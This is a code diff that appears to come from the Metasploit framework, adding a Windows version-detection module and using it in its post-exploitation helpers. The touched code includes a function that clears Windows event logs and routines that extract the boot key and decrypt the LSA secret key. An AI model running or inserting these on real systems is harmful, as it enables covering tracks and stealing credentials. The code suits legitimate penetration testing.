Added module for Windows version comparisons
Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection.
This commit is contained in:
parent
e749945b01
commit
75ba9110e2
|
@ -1,60 +1,59 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
class Post
|
||||
module Windows
|
||||
module Eventlog
|
||||
include Msf::Post::Windows::Version
|
||||
|
||||
module Eventlog
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
stdapi_sys_eventlog_*
|
||||
]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
stdapi_sys_config_sysinfo
|
||||
stdapi_sys_eventlog_*
|
||||
]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
#
|
||||
# Enumerate eventlogs
|
||||
#
|
||||
def eventlog_list
|
||||
key = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\'
|
||||
version = get_version_info
|
||||
if version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Server2003_SP2)
|
||||
key = "#{key}Eventlog"
|
||||
else
|
||||
key = "#{key}eventlog"
|
||||
end
|
||||
eventlogs = registry_enumkeys(key)
|
||||
return eventlogs
|
||||
end
|
||||
|
||||
#
|
||||
# Enumerate eventlogs
|
||||
#
|
||||
def eventlog_list
|
||||
key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
|
||||
if session.sys.config.sysinfo['OS'] =~ /Windows 2003|\.Net|XP|2000/
|
||||
key = "#{key}Eventlog"
|
||||
else
|
||||
key = "#{key}eventlog"
|
||||
#
|
||||
# Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs
|
||||
# that where cleared.
|
||||
#
|
||||
def eventlog_clear(evt = '')
|
||||
evntlog = []
|
||||
if evt.empty?
|
||||
evntlog = eventloglist
|
||||
else
|
||||
evntlog << evt
|
||||
end
|
||||
evntlog.each do |e|
|
||||
log = session.sys.eventlog.open(e)
|
||||
log.clear
|
||||
end
|
||||
return evntlog
|
||||
end
|
||||
end
|
||||
end
|
||||
eventlogs = registry_enumkeys(key)
|
||||
return eventlogs
|
||||
end
|
||||
|
||||
#
|
||||
# Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs
|
||||
# that where cleared.
|
||||
#
|
||||
def eventlog_clear(evt = "")
|
||||
evntlog = []
|
||||
if evt.empty?
|
||||
evntlog = eventloglist
|
||||
else
|
||||
evntlog << evt
|
||||
end
|
||||
evntlog.each do |e|
|
||||
log = session.sys.eventlog.open(e)
|
||||
log.clear
|
||||
end
|
||||
return evntlog
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -3,17 +3,18 @@
|
|||
module Msf::Post::Windows::Priv
|
||||
include ::Msf::Post::Windows::Accounts
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Windows::Version
|
||||
include Msf::Util::WindowsCryptoHelpers
|
||||
|
||||
INTEGRITY_LEVEL_SID = {
|
||||
:low => 'S-1-16-4096',
|
||||
:medium => 'S-1-16-8192',
|
||||
:high => 'S-1-16-12288',
|
||||
:system => 'S-1-16-16384'
|
||||
}
|
||||
low: 'S-1-16-4096',
|
||||
medium: 'S-1-16-8192',
|
||||
high: 'S-1-16-12288',
|
||||
system: 'S-1-16-16384'
|
||||
}.freeze
|
||||
|
||||
SYSTEM_SID = 'S-1-5-18'
|
||||
ADMINISTRATORS_SID = 'S-1-5-32-544'
|
||||
SYSTEM_SID = 'S-1-5-18'.freeze
|
||||
ADMINISTRATORS_SID = 'S-1-5-32-544'.freeze
|
||||
|
||||
# http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx
|
||||
# ConsentPromptBehaviorAdmin
|
||||
|
@ -50,7 +51,11 @@ module Msf::Post::Windows::Priv
|
|||
def is_admin?
|
||||
if session_has_ext
|
||||
# Assume true if the OS doesn't expose this (Windows 2000)
|
||||
return session.railgun.shell32.IsUserAnAdmin()['return'] rescue true
|
||||
begin
|
||||
return session.railgun.shell32.IsUserAnAdmin()['return']
|
||||
rescue StandardError
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
local_service_key = registry_enumkeys('HKU\S-1-5-19')
|
||||
|
@ -99,7 +104,6 @@ module Msf::Post::Windows::Priv
|
|||
true
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns true if in the administrator group
|
||||
#
|
||||
|
@ -107,7 +111,7 @@ module Msf::Post::Windows::Priv
|
|||
whoami = get_whoami
|
||||
|
||||
if whoami.nil?
|
||||
print_error("Unable to identify admin group membership")
|
||||
print_error('Unable to identify admin group membership')
|
||||
return nil
|
||||
elsif whoami.include? ADMINISTRATORS_SID
|
||||
return true
|
||||
|
@ -137,19 +141,16 @@ module Msf::Post::Windows::Priv
|
|||
#
|
||||
def is_uac_enabled?
|
||||
uac = false
|
||||
winversion = session.sys.config.sysinfo['OS']
|
||||
|
||||
if winversion =~ /Windows (Vista|7|8|2008|2012|10|2016|2019)/
|
||||
unless is_system?
|
||||
begin
|
||||
enable_lua = registry_getvaldata(
|
||||
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
|
||||
'EnableLUA'
|
||||
)
|
||||
uac = (enable_lua == 1)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Error Checking if UAC is Enabled: #{e.class} #{e}")
|
||||
end
|
||||
version = get_version_info
|
||||
if version.build_number >= Msf::WindowsVersion::Vista_SP0 && !is_system?
|
||||
begin
|
||||
enable_lua = registry_getvaldata(
|
||||
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
|
||||
'EnableLUA'
|
||||
)
|
||||
uac = (enable_lua == 1)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Error Checking if UAC is Enabled: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
return uac
|
||||
|
@ -164,8 +165,8 @@ module Msf::Post::Windows::Priv
|
|||
def get_uac_level
|
||||
begin
|
||||
uac_level = registry_getvaldata(
|
||||
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
|
||||
'ConsentPromptBehaviorAdmin'
|
||||
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
|
||||
'ConsentPromptBehaviorAdmin'
|
||||
)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Error Checking UAC Level: #{e.class} #{e}")
|
||||
|
@ -185,10 +186,10 @@ module Msf::Post::Windows::Priv
|
|||
whoami = get_whoami
|
||||
|
||||
if whoami.nil?
|
||||
print_error("Unable to identify integrity level")
|
||||
print_error('Unable to identify integrity level')
|
||||
return nil
|
||||
else
|
||||
INTEGRITY_LEVEL_SID.each_pair do |k,sid|
|
||||
INTEGRITY_LEVEL_SID.each_pair do |_k, sid|
|
||||
if whoami.include? sid
|
||||
return sid
|
||||
end
|
||||
|
@ -212,9 +213,9 @@ module Msf::Post::Windows::Priv
|
|||
def get_whoami
|
||||
whoami = cmd_exec('cmd.exe /c whoami /groups')
|
||||
|
||||
if whoami.nil? or whoami.empty?
|
||||
if whoami.nil? || whoami.empty?
|
||||
return nil
|
||||
elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/
|
||||
elsif whoami =~ (/is not recognized/) || whoami =~ (/extra operand/) || whoami =~ (/Access is denied/)
|
||||
return nil
|
||||
else
|
||||
return whoami
|
||||
|
@ -225,37 +226,36 @@ module Msf::Post::Windows::Priv
|
|||
# Return true if the session has extended capabilities (ie meterpreter)
|
||||
#
|
||||
def session_has_ext
|
||||
begin
|
||||
return !!(session.railgun and session.sys.config)
|
||||
rescue NoMethodError
|
||||
return false
|
||||
end
|
||||
return !!(session.railgun and session.sys.config)
|
||||
rescue NoMethodError
|
||||
return false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the unscrambled bootkey
|
||||
#
|
||||
def capture_boot_key
|
||||
bootkey = ""
|
||||
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
||||
bootkey = ''
|
||||
basekey = 'System\\CurrentControlSet\\Control\\Lsa'
|
||||
|
||||
%W{JD Skew1 GBG Data}.each do |k|
|
||||
%w[JD Skew1 GBG Data].each do |k|
|
||||
begin
|
||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + '\\' + k, KEY_READ)
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
end
|
||||
|
||||
return nil if not ok
|
||||
bootkey << [ok.query_class.to_i(16)].pack("V")
|
||||
return nil if !ok
|
||||
|
||||
bootkey << [ok.query_class.to_i(16)].pack('V')
|
||||
ok.close
|
||||
end
|
||||
|
||||
keybytes = bootkey.unpack("C*")
|
||||
descrambled = ""
|
||||
keybytes = bootkey.unpack('C*')
|
||||
descrambled = ''
|
||||
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
|
||||
|
||||
0.upto(keybytes.length-1) do |x|
|
||||
descrambled << [keybytes[descrambler[x]]].pack("C")
|
||||
0.upto(keybytes.length - 1) do |x|
|
||||
descrambled << [keybytes[descrambler[x]]].pack('C')
|
||||
end
|
||||
|
||||
return descrambled
|
||||
|
@ -267,39 +267,39 @@ module Msf::Post::Windows::Priv
|
|||
# @note This requires the session be running as SYSTEM
|
||||
#
|
||||
def capture_lsa_key(bootkey)
|
||||
vprint_status("Getting PolSecretEncryptionKey...")
|
||||
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "")
|
||||
vprint_status('Getting PolSecretEncryptionKey...')
|
||||
pol = registry_getvaldata('HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey', '')
|
||||
if pol
|
||||
print_status("XP or below system")
|
||||
print_status('XP or below system')
|
||||
@lsa_vista_style = false
|
||||
md5x = Digest::MD5.new()
|
||||
md5x = Digest::MD5.new
|
||||
md5x << bootkey
|
||||
(1..1000).each do
|
||||
md5x << pol[60,16]
|
||||
1000.times do
|
||||
md5x << pol[60, 16]
|
||||
end
|
||||
|
||||
rc4 = OpenSSL::Cipher.new("rc4")
|
||||
rc4 = OpenSSL::Cipher.new('rc4')
|
||||
rc4.decrypt
|
||||
rc4.key = md5x.digest
|
||||
lsa_key = rc4.update(pol[12,48])
|
||||
lsa_key = rc4.update(pol[12, 48])
|
||||
lsa_key << rc4.final
|
||||
lsa_key = lsa_key[0x10..0x1F]
|
||||
else
|
||||
print_status("Vista or above system")
|
||||
print_status('Vista or above system')
|
||||
@lsa_vista_style = true
|
||||
|
||||
vprint_status("Trying 'V72' style...")
|
||||
vprint_status("Getting PolEKList...")
|
||||
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "")
|
||||
vprint_status('Getting PolEKList...')
|
||||
pol = registry_getvaldata('HKLM\\SECURITY\\Policy\\PolEKList', '')
|
||||
|
||||
# If that didn't work, then we're out of luck
|
||||
return nil if pol.nil?
|
||||
|
||||
lsa_key = decrypt_lsa_data(pol, bootkey)
|
||||
lsa_key = lsa_key[68,32]
|
||||
lsa_key = lsa_key[68, 32]
|
||||
end
|
||||
|
||||
vprint_good(lsa_key.unpack("H*")[0])
|
||||
vprint_good(lsa_key.unpack('H*')[0])
|
||||
return lsa_key
|
||||
end
|
||||
|
||||
|
@ -309,10 +309,9 @@ module Msf::Post::Windows::Priv
|
|||
# registry key, false otherwise.
|
||||
def lsa_vista_style?
|
||||
if @lsa_vista_style.nil?
|
||||
@lsa_vista_style = !!(registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", ""))
|
||||
@lsa_vista_style = !registry_getvaldata('HKLM\\SECURITY\\Policy\\PolEKList', '').nil?
|
||||
end
|
||||
|
||||
@lsa_vista_style
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -263,20 +263,19 @@ module Msf
|
|||
|
||||
def check_compatibility
|
||||
# Check Windows version to make sure we will use the correct supported command flags
|
||||
# - `schtasks.exe` on Windows prior to Windows Server 2003 SP2 has
|
||||
# - `schtasks.exe` on Windows prior to Windows Server 2003 SP1 has
|
||||
# some different `/create` option flags.
|
||||
# - `schtasks.exe` on Windows until Server 2003 SP2 has some
|
||||
# different `/query` option flags.
|
||||
# - `schtasks.exe` on Windows prior to Vista has some
|
||||
# different `/query` option flags - set @old_os to true
|
||||
# Also, on these OSes, `reg.exe` does not support the `/reg:64` flag.
|
||||
|
||||
@old_schtasks = false
|
||||
@old_os = false
|
||||
return unless sysinfo
|
||||
match = sysinfo['OS'].match(/(?<version>[\d.]+) Build/)
|
||||
return unless match
|
||||
|
||||
if Rex::Version.new((match[:version])) < Rex::Version.new('6.0')
|
||||
version = get_version_info
|
||||
if version.build_number < Msf::WindowsVersion::Vista_SP0
|
||||
@old_os = true
|
||||
unless sysinfo['OS'].include?('5.2 Build 3790, Service Pack 2')
|
||||
if version.build_number < Msf::WindowsVersion::Server2003_SP1
|
||||
@old_schtasks = true
|
||||
end
|
||||
if datastore['ScheduleRemoteSystem'].present?
|
||||
|
|
|
@ -0,0 +1,93 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Post::Windows::Version
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
stdapi_railgun_api
|
||||
]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def get_version_info
|
||||
if session.type == 'meterpreter'
|
||||
result = session.railgun.ntdll.RtlGetVersion(input_os_version_info_ex)
|
||||
os_version_info_ex = unpack_version_info(result['VersionInformation'])
|
||||
major = os_version_info_ex[1]
|
||||
minor = os_version_info_ex[2]
|
||||
build = os_version_info_ex[3]
|
||||
service_pack = os_version_info_ex[6]
|
||||
product_type = os_version_info_ex[9]
|
||||
|
||||
Msf::WindowsVersion.new(major, minor, build, service_pack, product_type)
|
||||
else
|
||||
build_num_raw = cmd_exec('systeminfo')
|
||||
bn_groups = build_num_raw.match(/OS Version:\s+(\d+)\.(\d+)\.(\d+).*((Service Pack\s+(\d+))|N\/A)/)
|
||||
if bn_groups.nil?
|
||||
print_error("Couldn't retrieve the target's build number!")
|
||||
raise RuntimeError.new("Couldn't retrieve the target's build number!")
|
||||
else
|
||||
sp = bn_groups[6]
|
||||
sp = 0 if sp.nil?
|
||||
workstation = 'Standalone Workstation'
|
||||
dc = 'Domain Controller'
|
||||
server = 'Standalone Server'
|
||||
product_regex_output = build_num_raw.match(/((#{workstation})|(#{dc})|(#{server}))/)
|
||||
if product_regex_output.nil?
|
||||
product_type = Msf::WindowsVersion::UnknownProduct
|
||||
else
|
||||
case product_regex_output[1]
|
||||
when workstation
|
||||
product_type = Msf::WindowsVersion::VER_NT_WORKSTATION
|
||||
when dc
|
||||
product_type = Msf::WindowsVersion::VER_NT_DOMAIN_CONTROLLER
|
||||
when server
|
||||
product_type = Msf::WindowsVersion::VER_NT_SERVER
|
||||
end
|
||||
end
|
||||
Msf::WindowsVersion.new(bn_groups[1].to_i, bn_groups[2].to_i, bn_groups[3].to_i, sp, product_type)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def empty_os_version_info_ex
|
||||
result = [0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
"",
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
]
|
||||
end
|
||||
|
||||
def pack_version_info(info)
|
||||
info.pack('VVVVVa256vvvCC')
|
||||
end
|
||||
|
||||
def unpack_version_info(bytes)
|
||||
bytes.unpack('VVVVVa256vvvCC')
|
||||
end
|
||||
|
||||
def input_os_version_info_ex
|
||||
input = empty_os_version_info_ex
|
||||
size = pack_version_info(input).size
|
||||
input[0] = size
|
||||
|
||||
pack_version_info(input)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,175 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
#
|
||||
# Represents the version of a Windows operating system
|
||||
#
|
||||
class WindowsVersion
|
||||
|
||||
VER_NT_WORKSTATION = 1
|
||||
VER_NT_DOMAIN_CONTROLLER = 2
|
||||
VER_NT_SERVER = 3
|
||||
UnknownProduct = -1
|
||||
|
||||
Win2000 = Rex::Version.new('5.0.2195')
|
||||
XP_SP0 = Rex::Version.new('5.1.2600.0')
|
||||
XP_SP1 = Rex::Version.new('5.1.2600.1')
|
||||
XP_SP2 = Rex::Version.new('5.1.2600.2')
|
||||
XP_SP3 = Rex::Version.new('5.1.2600.3')
|
||||
Server2003_SP0 = Rex::Version.new('5.2.3790.0')
|
||||
Server2003_SP1 = Rex::Version.new('5.2.3790.1')
|
||||
Server2003_SP2 = Rex::Version.new('5.2.3790.2')
|
||||
Vista_SP0 = Server2008_SP0 = Rex::Version.new('6.0.6000.0')
|
||||
Vista_SP1 = Server2008_SP1 = Rex::Version.new('6.0.6001.1')
|
||||
Vista_SP2 = Server2008_SP2 = Rex::Version.new('6.0.6002.2')
|
||||
Win7_SP0 = Server2008_R2_SP0 = Rex::Version.new('6.1.7600.0')
|
||||
Win7_SP1 = Server2008_R2_SP1 = Rex::Version.new('6.1.7601.1')
|
||||
Win8 = Server2012 = Rex::Version.new('6.2.9200.0')
|
||||
Win81 = Server2012_R2 = Rex::Version.new('6.3.9600.0')
|
||||
Win10_1507 = Win10_InitialRelease = Rex::Version.new('10.0.10240.0')
|
||||
Win10_1511 = Rex::Version.new('10.0.10586.0')
|
||||
Win10_1607 = Server2016 = Rex::Version.new('10.0.14393.0')
|
||||
Win10_1703 = Rex::Version.new('10.0.15063.0')
|
||||
Win10_1709 = Rex::Version.new('10.0.16299.0')
|
||||
Win10_1803 = Rex::Version.new('10.0.17134.0')
|
||||
Win10_1809 = Server2019 = Rex::Version.new('10.0.17763.0')
|
||||
Win10_1903 = Rex::Version.new('10.0.18362.0')
|
||||
Win10_1909 = Rex::Version.new('10.0.18363.0')
|
||||
Win10_2004 = Rex::Version.new('10.0.19041.0')
|
||||
Win10_20H2 = Rex::Version.new('10.0.19042.0')
|
||||
Win10_21H1 = Rex::Version.new('10.0.19043.0')
|
||||
Win10_21H2 = Rex::Version.new('10.0.19044.0')
|
||||
Win10_22H2 = Rex::Version.new('10.0.19045.0')
|
||||
Server2022 = Rex::Version.new('10.0.20348.0')
|
||||
Win11_21H2 = Rex::Version.new('10.0.22000.0')
|
||||
Win11_22H2 = Rex::Version.new('10.0.22621.0')
|
||||
|
||||
module MajorRelease
|
||||
NT351 = 'Windows NT 3.51'.freeze
|
||||
Win95 = 'Windows 95'.freeze
|
||||
Win98 = 'Windows 98'.freeze
|
||||
WinME = 'Windows ME'.freeze
|
||||
|
||||
XP = 'Windows XP'.freeze
|
||||
Server2003 = 'Windows Server 2003'.freeze
|
||||
|
||||
Vista = 'Windows Vista'.freeze
|
||||
Server2008 = 'Windows Server 2008'.freeze
|
||||
|
||||
Win7 = 'Windows 7'.freeze
|
||||
Server2008R2 = 'Windows 2008 R2'.freeze
|
||||
|
||||
Win8 = 'Windows 8'.freeze
|
||||
Server2012 = 'Windows Server 2012'.freeze
|
||||
|
||||
Win81 = 'Windows 8.1'.freeze
|
||||
Server2012R2 = 'Windows Server 2012 R2'.freeze
|
||||
|
||||
Win10Plus = 'Windows 10+'.freeze
|
||||
Server2016Plus = 'Windows Server 2016+'.freeze
|
||||
end
|
||||
|
||||
def initialize(major, minor, build, service_pack, product_type)
|
||||
self._major = major
|
||||
self._minor = minor
|
||||
self._build = build
|
||||
self._service_pack = service_pack
|
||||
self.product_type = product_type
|
||||
end
|
||||
|
||||
# The specific build number of this version (major.minor.build.service_pack)
|
||||
def build_number
|
||||
Rex::Version.new("#{_major}.#{_minor}.#{_build}.#{_service_pack}")
|
||||
end
|
||||
|
||||
# Is this OS a Windows Server instance?
|
||||
def windows_server?
|
||||
# There are other types than just workstation/server/DC, but Microsoft's own documentation says
|
||||
# "If it's not Workstation, then it's Server"
|
||||
# https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoexa
|
||||
product_type != VER_NT_WORKSTATION
|
||||
end
|
||||
|
||||
# Is this a Workstation build?
|
||||
def workstation?
|
||||
product_type == VER_NT_WORKSTATION
|
||||
end
|
||||
|
||||
# This Windows Server has been promoted to a DC
|
||||
def domain_controller?
|
||||
product_type == VER_NT_DOMAIN_CONTROLLER
|
||||
end
|
||||
|
||||
# The name of the OS, as it is most commonly rendered. Includes Service Pack if present, or build number if Win10 or higher.
|
||||
def product_name
|
||||
result = "Unknown Windows version: #{_major}.#{_minor}.#{_build}"
|
||||
name = major_release_name
|
||||
result = name unless name.nil?
|
||||
result = "#{result} Service Pack #{_service_pack}" if _service_pack != 0
|
||||
result = "#{result} Build #{_build}" if build_number >= Win10_InitialRelease
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
def to_s
|
||||
product_name
|
||||
end
|
||||
|
||||
# Is this version number from the Vista/Server 2008 generation of Windows OSes
|
||||
def vista_or_2008?
|
||||
build_number.between?(Vista_SP0, Vista_SP2)
|
||||
end
|
||||
|
||||
# Is this version number from the Windows 7/Server 2008 R2 generation of Windows OSes
|
||||
def win7_or_2008r2?
|
||||
build_number.between?(Win7_SP0, Win7_SP1)
|
||||
end
|
||||
|
||||
# Is this version number from the XP/Server 2003 generation of Windows OSes
|
||||
def xp_or_2003?
|
||||
build_number.between?(XP_SP0, Server2003_SP2)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
attr_accessor :_major, :_minor, :_build, :_service_pack, :product_type
|
||||
|
||||
# The major release within which this build fits
|
||||
def major_release_name
|
||||
if _major == 5
|
||||
if _minor == 1
|
||||
return MajorRelease::XP
|
||||
elsif _minor == 2
|
||||
return MajorRelease::Server2003 if windows_server?
|
||||
|
||||
return MajorRelease::XP
|
||||
end
|
||||
elsif _major == 6
|
||||
if _minor == 0
|
||||
return MajorRelease::Server2008 if windows_server?
|
||||
|
||||
return MajorRelease::Vista
|
||||
elsif _minor == 1
|
||||
return MajorRelease::Server2008R2 if windows_server?
|
||||
|
||||
return MajorRelease::Win7
|
||||
elsif _minor == 2
|
||||
return MajorRelease::Server2012 if windows_server?
|
||||
|
||||
return MajorRelease::Win8
|
||||
elsif _minor == 3
|
||||
return MajorRelease::Server2012R2 if windows_server?
|
||||
|
||||
return MajorRelease::Win81
|
||||
end
|
||||
elsif _major == 10
|
||||
if _minor == 0
|
||||
return MajorRelease::Server2016Plus if windows_server?
|
||||
|
||||
return MajorRelease::Win10Plus
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,186 +1,187 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Stdapi
|
||||
module Railgun
|
||||
module Def
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Stdapi
|
||||
module Railgun
|
||||
module Def
|
||||
class Def_windows_ntdll
|
||||
|
||||
class Def_windows_ntdll
|
||||
def self.create_library(constant_manager, library_path = 'ntdll')
|
||||
dll = Library.new(library_path, constant_manager)
|
||||
|
||||
def self.create_library(constant_manager, library_path = 'ntdll')
|
||||
dll = Library.new(library_path, constant_manager)
|
||||
dll.add_function('NtAllocateVirtualMemory', 'DWORD', [
|
||||
['DWORD', 'ProcessHandle', 'in'],
|
||||
['PBLOB', 'BaseAddress', 'inout'],
|
||||
['PDWORD', 'ZeroBits', 'in'],
|
||||
['PBLOB', 'RegionSize', 'inout'],
|
||||
['DWORD', 'AllocationType', 'in'],
|
||||
['DWORD', 'Protect', 'in']
|
||||
])
|
||||
|
||||
dll.add_function('NtAllocateVirtualMemory', 'DWORD',[
|
||||
["DWORD","ProcessHandle","in"],
|
||||
["PBLOB","BaseAddress","inout"],
|
||||
["PDWORD","ZeroBits","in"],
|
||||
["PBLOB","RegionSize","inout"],
|
||||
["DWORD","AllocationType","in"],
|
||||
["DWORD","Protect","in"]
|
||||
])
|
||||
dll.add_function('NtClose', 'DWORD', [
|
||||
['DWORD', 'Handle', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('NtClose', 'DWORD',[
|
||||
["DWORD","Handle","in"],
|
||||
])
|
||||
dll.add_function('NtCreateFile', 'DWORD', [
|
||||
['PHANDLE', 'FileHandle', 'inout'],
|
||||
['DWORD', 'DesiredAccess', 'in'],
|
||||
['PBLOB', 'ObjectAttributes', 'in'],
|
||||
['PBLOB', 'IoStatusBlock', 'inout'],
|
||||
['PBLOB', 'AllocationSize', 'in'],
|
||||
['DWORD', 'FileAttributes', 'in'],
|
||||
['DWORD', 'ShareAccess', 'in'],
|
||||
['DWORD', 'CreateDisposition', 'in'],
|
||||
['DWORD', 'CreateOptions', 'in'],
|
||||
['PBLOB', 'EaBuffer', 'in'],
|
||||
['DWORD', 'EaLength', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('NtCreateFile', 'DWORD',[
|
||||
["PHANDLE","FileHandle","inout"],
|
||||
["DWORD","DesiredAccess","in"],
|
||||
["PBLOB","ObjectAttributes","in"],
|
||||
["PBLOB","IoStatusBlock","inout"],
|
||||
["PBLOB","AllocationSize","in"],
|
||||
["DWORD","FileAttributes","in"],
|
||||
["DWORD","ShareAccess","in"],
|
||||
["DWORD","CreateDisposition","in"],
|
||||
["DWORD","CreateOptions","in"],
|
||||
["PBLOB","EaBuffer","in"],
|
||||
["DWORD","EaLength","in"],
|
||||
])
|
||||
dll.add_function('NtDeviceIoControlFile', 'DWORD', [
|
||||
['DWORD', 'FileHandle', 'in'],
|
||||
['DWORD', 'Event', 'in'],
|
||||
['LPVOID', 'ApcRoutine', 'in'],
|
||||
['LPVOID', 'ApcContext', 'in'],
|
||||
['PDWORD', 'IoStatusBlock', 'out'],
|
||||
['DWORD', 'IoControlCode', 'in'],
|
||||
['LPVOID', 'InputBuffer', 'in'],
|
||||
['DWORD', 'InputBufferLength', 'in'],
|
||||
['LPVOID', 'OutputBuffer', 'in'],
|
||||
['DWORD', 'OutputBufferLength', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('NtDeviceIoControlFile', 'DWORD',[
|
||||
["DWORD","FileHandle","in"],
|
||||
["DWORD","Event","in"],
|
||||
["LPVOID","ApcRoutine","in"],
|
||||
["LPVOID","ApcContext","in"],
|
||||
["PDWORD","IoStatusBlock","out"],
|
||||
["DWORD","IoControlCode","in"],
|
||||
["LPVOID","InputBuffer","in"],
|
||||
["DWORD","InputBufferLength","in"],
|
||||
["LPVOID","OutputBuffer","in"],
|
||||
["DWORD","OutputBufferLength","in"],
|
||||
])
|
||||
dll.add_function('NtOpenFile', 'DWORD', [
|
||||
['PHANDLE', 'FileHandle', 'inout'],
|
||||
['DWORD', 'DesiredAccess', 'in'],
|
||||
['PBLOB', 'ObjectAttributes', 'in'],
|
||||
['PBLOB', 'IoStatusBlock', 'inout'],
|
||||
['DWORD', 'ShareAccess', 'in'],
|
||||
['DWORD', 'OpenOptions', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('NtOpenFile', 'DWORD',[
|
||||
["PHANDLE","FileHandle","inout"],
|
||||
["DWORD","DesiredAccess","in"],
|
||||
["PBLOB","ObjectAttributes","in"],
|
||||
["PBLOB","IoStatusBlock","inout"],
|
||||
["DWORD","ShareAccess","in"],
|
||||
["DWORD","OpenOptions","in"],
|
||||
])
|
||||
dll.add_function('NtQueryInformationProcess', 'DWORD', [
|
||||
['DWORD', 'ProcessHandle', 'in'],
|
||||
['DWORD', 'ProcessInformationClass', 'in'],
|
||||
['PBLOB', 'ProcessInformation', 'inout'],
|
||||
['DWORD', 'ProcessInformationLength', 'in'],
|
||||
['PDWORD', 'ReturnLength', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('NtQueryInformationProcess', 'DWORD',[
|
||||
["DWORD","ProcessHandle","in"],
|
||||
["DWORD","ProcessInformationClass","in"],
|
||||
["PBLOB","ProcessInformation","inout"],
|
||||
["DWORD","ProcessInformationLength","in"],
|
||||
["PDWORD","ReturnLength","inout"],
|
||||
])
|
||||
dll.add_function('NtQueryInformationThread', 'DWORD', [
|
||||
['DWORD', 'ThreadHandle', 'in'],
|
||||
['DWORD', 'ThreadInformationClass', 'in'],
|
||||
['PBLOB', 'ThreadInformation', 'inout'],
|
||||
['DWORD', 'ThreadInformationLength', 'in'],
|
||||
['PDWORD', 'ReturnLength', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('NtQueryInformationThread', 'DWORD',[
|
||||
["DWORD","ThreadHandle","in"],
|
||||
["DWORD","ThreadInformationClass","in"],
|
||||
["PBLOB","ThreadInformation","inout"],
|
||||
["DWORD","ThreadInformationLength","in"],
|
||||
["PDWORD","ReturnLength","inout"],
|
||||
])
|
||||
dll.add_function('NtQueryIntervalProfile', 'DWORD', [
|
||||
['DWORD', 'ProfileSource', 'in'],
|
||||
['PDWORD', 'Interval', 'out'],
|
||||
])
|
||||
|
||||
dll.add_function('NtQueryIntervalProfile', 'DWORD',[
|
||||
["DWORD","ProfileSource","in"],
|
||||
["PDWORD","Interval","out"],
|
||||
])
|
||||
